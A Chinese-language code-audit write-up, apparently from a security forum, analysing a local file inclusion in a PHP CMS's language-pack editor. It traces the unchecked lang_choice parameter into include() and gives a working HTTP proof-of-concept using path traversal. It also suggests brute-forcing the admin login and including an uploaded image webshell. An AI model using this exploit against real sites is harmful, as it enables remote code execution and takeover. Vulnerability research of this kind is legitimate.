function edit_action() {
$lang_choice='system.php';
if (isset($_GET['lang_choice'])){
$lang_choice=$_GET['lang_choice'];
}
$langid=front::get('id');
$lang=new lang();
$langdata = $lang->getrows('id='.$langid, 1);
if (is_array($langdata)){
$langurlname=$langdata[0]['langurlname'];
}else{
front::alert(lang_admin('language_pack').lang_admin('nonentity'));
}
$path=ROOT.'/lang/'.$langurlname.'/'.$lang_choice;
$tipspath=ROOT.'/lang/'.$langurlname.'/'.$lang_choice;
if (front::post('submit')) {
$content=file_get_contents($path);
$to_delete_items=front::$post['to_delete_items'];
unset(front::$post['to_delete_items']);
foreach (front::$post as $key=>$val) {
preg_match_all("/'".$key."'=>'(.*?)',/",$content,$out);
if (is_array($to_delete_items) && in_array($key,$to_delete_items))
$content=str_replace($out[0][0],'',$content);
else
$content=str_replace($out[1][0],$val,$content);
}
file_put_contents($path,$content);
if ($_GET['site'] != 'default') {
$ftp=new nobftp();
$ftpconfig=config::get('website');
$ftp->connect($ftpconfig['ftpip'],$ftpconfig['ftpuser'],$ftpconfig['ftppwd'],$ftpconfig['ftpport']);
$ftperror=$ftp->returnerror();
if ($ftperror) {
exit($ftperror);
}
else {
$ftp->nobchdir($ftpconfig['ftppath']);
$ftp->nobput($ftpconfig['ftppath'].'/lang/'.$langurlname.'/'.$lang_choice,$path);
}
}
unset($content);
event::log(lang_admin('modify').lang_admin('language_pack'),lang_admin('success'));
$shepi='alert("'.lang_admin('dosomething').lang_admin('complete').'");gotoinurl("'.url('language/edit/id/'.$langdata[0]['id'],true);
$shepi=$shepi.'&lang_choice='.$lang_choice;
$shepi=$shepi.'");';
echo $shepi;
}
$content=include($path);
//搜索过滤
if (front::post('search_submit')) {
$search_title=front::post('search_title');
$this->view->search_title=$search_title;
}
else{
$search_title='';
}
foreach($content as $k => $v){
//增加搜索条件
if ($search_title == '') {
$content[$k] = $v;
}else if (strpos($v,$search_title) === false) {
unset($content[$k]);
}else{
$content[$k] = $v;
}
}
$tips=include($tipspath);
$this->view->tips=$tips;
//分页
$limit = 30;
if(!front::get('page'))
$page = 1;
else
$page = front::get('page');
$total = ceil(count($content)/$limit);
if($page $total) $page = $total;
$start = ($page-1) * $limit;
$end = $start+$limit-1;
$tmp = range($start,$end);
$i = 0;
$list_content_arr = array();
foreach($content as $k => $v){
if(in_array($i++,$tmp)){
//增加搜索条件
$list_content_arr[$k] = $v;
}
}
$this->view->sys_lang=$list_content_arr;
$this->view->link_str = listPage($total,$limit,$page);
$this->view->lang_choice=$lang_choice;
}
分析这个函数里面的代码,发现$content=include($path);
,定位$path
变量
$path=ROOT.'/lang/'.$langurlname.'/'.$lang_choice;
发现$path
是由$langurlname
和$lang_choice
拼接,定位这两个变量
if (isset($_GET['lang_choice'])){
$lang_choice=$_GET['lang_choice'];
}
$langid=front::get('id');
$lang=new lang();
$langdata = $lang->getrows('id='.$langid, 1);
if (is_array($langdata)){
$langurlname=$langdata[0]['langurlname'];
这里可以知道,如果我们要自己构造文件路径的话,那么这两个参数我们就需要由自己控制,那么首先看第一个if
if (isset($_GET['lang_choice']))
首先看到isset
,这个函数可以翻一下PHP官方手册
所以这段if
其实就是检测$_GET['lang_choice']
的值而已,所以我们随便构造一个就行。
那么我们看到第二段if
if (is_array($langdata))
这里也是一样,先翻一下手册,看看is_array
的作用
那么这段if
的意思就很明显了,判断$langdata
是否是数组,那么我们定位一下$langdata
$langdata = $lang->getrows('id='.$langid, 1);
这里的$langdata
是调用了$lang
类中的getrows
方法,然后传递了两个参数,我们这里先看看$langid
是个什么玩意
$langid=front::get('id');
这里是调用了front
的get
方法,不过我们可以不用管这个变量了,因为如果我们能够控制结尾的话,中间的部分其实就不用太过在意,不过我这里还是贴出来这个front
的get
方法
有很多,不过不用纠结哪一个,不重要。
那么我们现在就只需要先上传一个包含马子的文件,然后再去包含它就可以了,同时我们还需要知道触发这个漏洞的路径
首先从路径上来看,这个漏洞是在Admin
路径下,说明触发这个漏洞可能需要一个管理员权限,那么我们首先需要进入到后台,爆破账号密码
从上面的审计可以知道,我们的漏洞点是需要控制lang_choice
这个传参的,所以我们直接全局搜索看看
发现了这段代码,这里我们可以控制lang_choice
传参,不过好像还需要传递几个参数
<a href="#" title="{lang_admin('language_item')}">{lang_admin('return_language_item')}</a>
这是完整的代码
{$base_url}/index.php?case=language&act=edit&id=1&lang_choice=system_custom.php&admin_dir=admin&site=default"
url GET 所有的参数都会在url栏显示
从这个文件所在的路径可以知道,这应该是个模板管理的功能,可以找一找
这个文件应该就是后台模板的功能点,那么来看剩下的一个参数怎么去构建
admin_dir={get('admin_dir',true)}&site=default"
首先admin_dir
应该就是后台目录,我们查看一下文件路径,发现只有一个目录,就是admin
然后我们直接拼接路径即可,然后我们访问123.txt
,文件中的内容是<?php phpinfo();?>
成功触发!
POC:
GET /index.php?case=language&act=edit&id=1&admin_dir=admin&site=default&lang_choice=../../123.txt HTTP/1.1
Host: 192.168.91.151
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://192.168.91.151/index.php?case=index&act=index&admin_dir=admin&site=default
Cookie: PHPSESSID=ogh7ejmqg4oaum4514ree46935; loginfalse=0; login_username=admin; login_password=863211e6ed45ca9046066222dddf16a9
在真实环境中,我们可以上传一个图片马,再进行包含即可
在添加内容出,可以上传文件,我们上传一个图片马
包含这个地址即可
正式课程内容也讲过代码审计,不过如果大家需要自己手动审计0day,那么就需要我们审计不同的CMS,研究每一个代码,不同的框架!
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-魔方 | 400.00 | 0 | 2023-08-07 17:05:21 | 深度 100 普适 100 可读 200 |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
XCKKW
发表于 2023-8-31
牛,不过有几处好像还是有点不懂,
$path=ROOT.’/lang/‘.$langurlname.’/‘.$lang_choice; 这里的ROOT.’/lang/‘ 是接的路径吗,root是指权限还是啥
评论列表
加载数据中...